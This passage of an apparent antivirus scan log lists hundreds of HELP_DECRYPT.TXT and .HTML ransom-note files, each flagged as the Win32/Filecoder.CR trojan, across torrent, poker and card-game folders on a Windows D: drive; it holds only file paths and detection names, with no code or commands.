D:\bittorrents\Richard.Pryor.Live.On.The.Sunset.Strip.1982.DVDRip.Xvid.iNT-420Ripz\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\Rust In Peace [Remastered 2004]\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\Rust In Peace [Remastered 2004]\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\Slayer - Discography\1983 - Show No Mercy (320)\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\Slayer - Discography\1983 - Show No Mercy (320)\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\Slayer - Discography\1984 - Haunting The Chapel EP (320)\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\Slayer - Discography\1984 - Haunting The Chapel EP (320)\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\Slayer - Discography\1984 - Live Undead (320)\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\Slayer - Discography\1984 - Live Undead (320)\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\Slayer - Discography\1985 - Hell Awaits (320)\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\Slayer - Discography\1985 - Hell Awaits (320)\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\Slayer - Discography\1986 - Reign In Blood (320)\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\Slayer - Discography\1986 - Reign In Blood (320)\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\Slayer - Discography\1988 - South Of Heaven (320)\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\Slayer - Discography\1988 - South Of Heaven (320)\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\Slayer - Discography\1990 - Seasons In The Abyss (320)\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\Slayer - Discography\1990 - Seasons In The Abyss (320)\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\Slayer - Discography\1991 - Decade Of Aggression (320)\CD 1\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\Slayer - Discography\1991 - Decade Of Aggression (320)\CD 1\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\Slayer - Discography\1991 - Decade Of Aggression (320)\CD 2\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\Slayer - Discography\1991 - Decade Of Aggression (320)\CD 2\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\Slayer - Discography\1991 - Decade Of Aggression (320)\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\Slayer - Discography\1991 - Decade Of Aggression (320)\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\Slayer - Discography\1994 - Divine Intervention (320)\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\Slayer - Discography\1994 - Divine Intervention (320)\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\Slayer - Discography\1996 - Undisputed Attitude (320)\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\Slayer - Discography\1996 - Undisputed Attitude (320)\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\Slayer - Discography\1998 - Diabolus In Musica (320)\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\Slayer - Discography\1998 - Diabolus In Musica (320)\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\Slayer - Discography\2001 - God Hates Us All (320)\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\Slayer - Discography\2001 - God Hates Us All (320)\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\Slayer - Discography\2006 - Christ Illusion (320)\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\Slayer - Discography\2006 - Christ Illusion (320)\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\Slayer - Discography\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\Slayer - Discography\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\Stephen_Marley-Mind_Control-2007-Clown\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\Stephen_Marley-Mind_Control-2007-Clown\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\STEPPENWOLF - Gold - Definitive Collection - 2 Disc - [320Kbps] - Drbn 121\CD\Gold Disc 1\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\STEPPENWOLF - Gold - Definitive Collection - 2 Disc - [320Kbps] - Drbn 121\CD\Gold Disc 1\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\STEPPENWOLF - Gold - Definitive Collection - 2 Disc - [320Kbps] - Drbn 121\CD\Gold Disc 2\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\STEPPENWOLF - Gold - Definitive Collection - 2 Disc - [320Kbps] - Drbn 121\CD\Gold Disc 2\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\STEPPENWOLF - Gold - Definitive Collection - 2 Disc - [320Kbps] - Drbn 121\CD\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\STEPPENWOLF - Gold - Definitive Collection - 2 Disc - [320Kbps] - Drbn 121\CD\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\STEPPENWOLF - Gold - Definitive Collection - 2 Disc - [320Kbps] - Drbn 121\Covers\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\STEPPENWOLF - Gold - Definitive Collection - 2 Disc - [320Kbps] - Drbn 121\Covers\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\STEPPENWOLF - Gold - Definitive Collection - 2 Disc - [320Kbps] - Drbn 121\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\STEPPENWOLF - Gold - Definitive Collection - 2 Disc - [320Kbps] - Drbn 121\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\Stevie Ray Vaughan and Double Trouble\The Essential Stevie Ray Vaughan and Double Trouble (1 of 2)\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\Stevie Ray Vaughan and Double Trouble\The Essential Stevie Ray Vaughan and Double Trouble (1 of 2)\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\Stevie Ray Vaughan and Double Trouble\The Essential Stevie Ray Vaughan and Double Trouble (2 of 2)\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\Stevie Ray Vaughan and Double Trouble\The Essential Stevie Ray Vaughan and Double Trouble (2 of 2)\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\Stevie Ray Vaughan and Double Trouble\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\Stevie Ray Vaughan and Double Trouble\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\Sublime Greatest hits\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\Sublime Greatest hits\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\Talib Kweli & Hi Tek-Reflection Eternal-Train Of Thought\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\Talib Kweli & Hi Tek-Reflection Eternal-Train Of Thought\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\The Dark Side of the Moon\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\The Dark Side of the Moon\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\THE ESSENTIAL [OZZY OSBOURNE\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\THE ESSENTIAL [OZZY OSBOURNE\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\The Great Southern Trendkill\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\The Great Southern Trendkill\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\The Meters-11 cd\The Meters-Best of\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\The Meters-11 cd\The Meters-Best of\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\The Meters-11 cd\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\The Meters-11 cd\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\The Meters-9 cd\The Meters-Struttin-1970\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\The Meters-9 cd\The Meters-Struttin-1970\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\The Meters-9 cd\The Meters-The Meters-1969\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\The Meters-9 cd\The Meters-The Meters-1969\HELP_DECRYPT.TXT  Win32/Filecoder.CR trojan 
D:\bittorrents\The Meters-9 cd\The Meters-The very best of the Meters-1997\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\The Meters-9 cd\The Meters-The very best of the Meters-1997\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\The Meters-9 cd\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\The Meters-9 cd\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\The Original Kings Of Comedy 2000 DVDRip[h33t][PH3AR_n0ne]\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\The Original Kings Of Comedy 2000 DVDRip[h33t][PH3AR_n0ne]\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\The Roots - Rising Down\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\The Roots - Rising Down\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\The Roots - The Roots Come Alive\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\The Roots - The Roots Come Alive\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\Tom_Petty_And_The_Heartbreakers-The_Live_Anthology-4CD-2009-404\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\Tom_Petty_And_The_Heartbreakers-The_Live_Anthology-4CD-2009-404\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\Van Halen - Discography @ 320\1978 Van Halen (320)\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\Van Halen - Discography @ 320\1978 Van Halen (320)\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\Van Halen - Discography @ 320\1979 Van Halen II (320)\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\Van Halen - Discography @ 320\1979 Van Halen II (320)\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\Van Halen - Discography @ 320\1980 Women And Children First (320)\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\Van Halen - Discography @ 320\1980 Women And Children First (320)\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\Van Halen - Discography @ 320\1981 Fair Warning (320)\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\Van Halen - Discography @ 320\1981 Fair Warning (320)\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\Van Halen - Discography @ 320\1982 Diver Down (320)\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\Van Halen - Discography @ 320\1982 Diver Down (320)\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\Van Halen - Discography @ 320\1984 1984 (320)\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\Van Halen - Discography @ 320\1984 1984 (320)\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\Van Halen - Discography @ 320\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\Van Halen - Discography @ 320\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\VAN MORRISON - Still On Top - The Greatest Hits - 320Kbps - VM 19 - Drbn Van the Man - RELOAD\CD\Still on Top- The Greatest Hits [Canada] Disc 1\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\VAN MORRISON - Still On Top - The Greatest Hits - 320Kbps - VM 19 - Drbn Van the Man - RELOAD\CD\Still on Top- The Greatest Hits [Canada] Disc 1\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\VAN MORRISON - Still On Top - The Greatest Hits - 320Kbps - VM 19 - Drbn Van the Man - RELOAD\CD\Still on Top- The Greatest Hits [Canada] Disc 2\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\VAN MORRISON - Still On Top - The Greatest Hits - 320Kbps - VM 19 - Drbn Van the Man - RELOAD\CD\Still on Top- The Greatest Hits [Canada] Disc 2\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\VAN MORRISON - Still On Top - The Greatest Hits - 320Kbps - VM 19 - Drbn Van the Man - RELOAD\CD\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\VAN MORRISON - Still On Top - The Greatest Hits - 320Kbps - VM 19 - Drbn Van the Man - RELOAD\CD\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\VAN MORRISON - Still On Top - The Greatest Hits - 320Kbps - VM 19 - Drbn Van the Man - RELOAD\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\VAN MORRISON - Still On Top - The Greatest Hits - 320Kbps - VM 19 - Drbn Van the Man - RELOAD\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\Velvet Revolver - discography (2 studio albums + 1 bootleg)\Velvet Revolver - Contraband\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\Velvet Revolver - discography (2 studio albums + 1 bootleg)\Velvet Revolver - Contraband\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\Velvet Revolver - discography (2 studio albums + 1 bootleg)\Velvet Revolver - Lethal Injection (bootleg)\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\Velvet Revolver - discography (2 studio albums + 1 bootleg)\Velvet Revolver - Lethal Injection (bootleg)\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\Velvet Revolver - discography (2 studio albums + 1 bootleg)\Velvet Revolver - libertad\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\Velvet Revolver - discography (2 studio albums + 1 bootleg)\Velvet Revolver - libertad\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\Velvet Revolver - discography (2 studio albums + 1 bootleg)\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\Velvet Revolver - discography (2 studio albums + 1 bootleg)\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\Winery Dogs\The Winery Dogs - The Winery Dogs 2013 Rock 320kbps CBR MP3 [VX] [P2PDL]\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\Winery Dogs\The Winery Dogs - The Winery Dogs 2013 Rock 320kbps CBR MP3 [VX] [P2PDL]\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\Winery Dogs\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\Winery Dogs\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\ZZ TOP - Discography\ZZ TOP - Deguello\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\ZZ TOP - Discography\ZZ TOP - Deguello\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\ZZ TOP - Discography\ZZ TOP - El Loco\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\ZZ TOP - Discography\ZZ TOP - El Loco\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\ZZ TOP - Discography\ZZ TOP - Eliminator\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\ZZ TOP - Discography\ZZ TOP - Eliminator\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\ZZ TOP - Discography\ZZ TOP - Fandango\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\ZZ TOP - Discography\ZZ TOP - Fandango\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\ZZ TOP - Discography\ZZ TOP - Greatest hits\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\ZZ TOP - Discography\ZZ TOP - Greatest hits\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\ZZ TOP - Discography\ZZ TOP - One Foot In The Blues\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\ZZ TOP - Discography\ZZ TOP - One Foot In The Blues\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\ZZ TOP - Discography\ZZ TOP - Rio Grande Mud\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\ZZ TOP - Discography\ZZ TOP - Rio Grande Mud\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\ZZ TOP - Discography\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\ZZ TOP - Discography\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\ZZ Top - Tres Hombres (1973)\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\ZZ Top - Tres Hombres (1973)\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\fulltilt\Graphics\NewTable\Classic\Backgrounds\Beach Scene\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\fulltilt\Graphics\NewTable\Classic\Backgrounds\Beach Scene\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\fulltilt\Graphics\NewTable\Classic\Backgrounds\Final Table\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\fulltilt\Graphics\NewTable\Classic\Backgrounds\Final Table\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\fulltilt\Graphics\NewTable\Classic\Backgrounds\Jungle\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\fulltilt\Graphics\NewTable\Classic\Backgrounds\Jungle\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\fulltilt\Graphics\NewTable\Classic\Backgrounds\Midnight\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\fulltilt\Graphics\NewTable\Classic\Backgrounds\Midnight\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\fulltilt\Graphics\NewTable\Classic\Backgrounds\Outer Space\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\fulltilt\Graphics\NewTable\Classic\Backgrounds\Outer Space\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\fulltilt\Graphics\NewTable\Classic\Backgrounds\Plain\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\fulltilt\Graphics\NewTable\Classic\Backgrounds\Plain\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\fulltilt\Graphics\NewTable\Classic\Backgrounds\Ski Lodge\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\fulltilt\Graphics\NewTable\Classic\Backgrounds\Ski Lodge\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\fulltilt\Graphics\NewTable\Classic\Backgrounds\Vegas Skyline\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\fulltilt\Graphics\NewTable\Classic\Backgrounds\Vegas Skyline\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\fulltilt\Graphics\NewTable\Classic\Backgrounds\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\fulltilt\Graphics\NewTable\Classic\Backgrounds\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\fulltilt\Graphics\NewTable\Classic\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\fulltilt\Graphics\NewTable\Classic\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\fulltilt\Graphics\NewTable\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\fulltilt\Graphics\NewTable\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\fulltilt\Graphics\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\fulltilt\Graphics\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\fulltilt\Waves\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\fulltilt\Waves\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\fulltilt\xc\roulette\close-up\trans\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\fulltilt\xc\roulette\close-up\trans\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\fulltilt\xc\roulette\close-up\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\fulltilt\xc\roulette\close-up\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\fulltilt\xc\roulette\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\fulltilt\xc\roulette\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\fulltilt\xc\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\fulltilt\xc\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\fulltilt\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\fulltilt\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\Hoyle Card Games 2011\cardBacks\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\Hoyle Card Games 2011\cardBacks\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\Hoyle Card Games 2011\cardFronts\2465\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\Hoyle Card Games 2011\cardFronts\2465\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\Hoyle Card Games 2011\cardFronts\2466\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\Hoyle Card Games 2011\cardFronts\2466\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\Hoyle Card Games 2011\cardFronts\2467\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\Hoyle Card Games 2011\cardFronts\2467\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\Hoyle Card Games 2011\cardFronts\2524\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\Hoyle Card Games 2011\cardFronts\2524\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\Hoyle Card Games 2011\cardFronts\3108032\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\Hoyle Card Games 2011\cardFronts\3108032\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\Hoyle Card Games 2011\cardFronts\3114037\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\Hoyle Card Games 2011\cardFronts\3114037\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\Hoyle Card Games 2011\cardFronts\3117030\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\Hoyle Card Games 2011\cardFronts\3117030\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\Hoyle Card Games 2011\cardFronts\3150132\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\Hoyle Card Games 2011\cardFronts\3150132\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\Hoyle Card Games 2011\cardFronts\3150136\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\Hoyle Card Games 2011\cardFronts\3150136\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\Hoyle Card Games 2011\cardFronts\3150144\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\Hoyle Card Games 2011\cardFronts\3150144\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\Hoyle Card Games 2011\cardFronts\3406032\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\Hoyle Card Games 2011\cardFronts\3406032\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\Hoyle Card Games 2011\cardFronts\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\Hoyle Card Games 2011\cardFronts\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\Hoyle Card Games 2011\environments\barn\textures\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\Hoyle Card Games 2011\environments\barn\textures\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\Hoyle Card Games 2011\environments\barn\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\Hoyle Card Games 2011\environments\barn\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\Hoyle Card Games 2011\environments\beach\textures\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\Hoyle Card Games 2011\environments\beach\textures\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\Hoyle Card Games 2011\environments\beach\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\Hoyle Card Games 2011\environments\beach\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\Hoyle Card Games 2011\environments\garage\textures\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\Hoyle Card Games 2011\environments\garage\textures\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\Hoyle Card Games 2011\environments\garage\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\Hoyle Card Games 2011\environments\garage\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\Hoyle Card Games 2011\environments\half_circle\textures\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\Hoyle Card Games 2011\environments\half_circle\textures\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\Hoyle Card Games 2011\environments\half_circle\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\Hoyle Card Games 2011\environments\half_circle\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\Hoyle Card Games 2011\environments\kidsroom\textures\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\Hoyle Card Games 2011\environments\kidsroom\textures\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\Hoyle Card Games 2011\environments\kidsroom\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\Hoyle Card Games 2011\environments\kidsroom\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\Hoyle Card Games 2011\environments\kitchen\textures\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\Hoyle Card Games 2011\environments\kitchen\textures\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\Hoyle Card Games 2011\environments\kitchen\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\Hoyle Card Games 2011\environments\kitchen\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\Hoyle Card Games 2011\environments\livingroom\textures\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\Hoyle Card Games 2011\environments\livingroom\textures\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\Hoyle Card Games 2011\environments\livingroom\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\Hoyle Card Games 2011\environments\livingroom\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\Hoyle Card Games 2011\environments\main_room\textures\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\Hoyle Card Games 2011\environments\main_room\textures\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\Hoyle Card Games 2011\environments\main_room\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\Hoyle Card Games 2011\environments\main_room\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\Hoyle Card Games 2011\environments\mansion\textures\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\Hoyle Card Games 2011\environments\mansion\textures\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\Hoyle Card Games 2011\environments\mansion\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
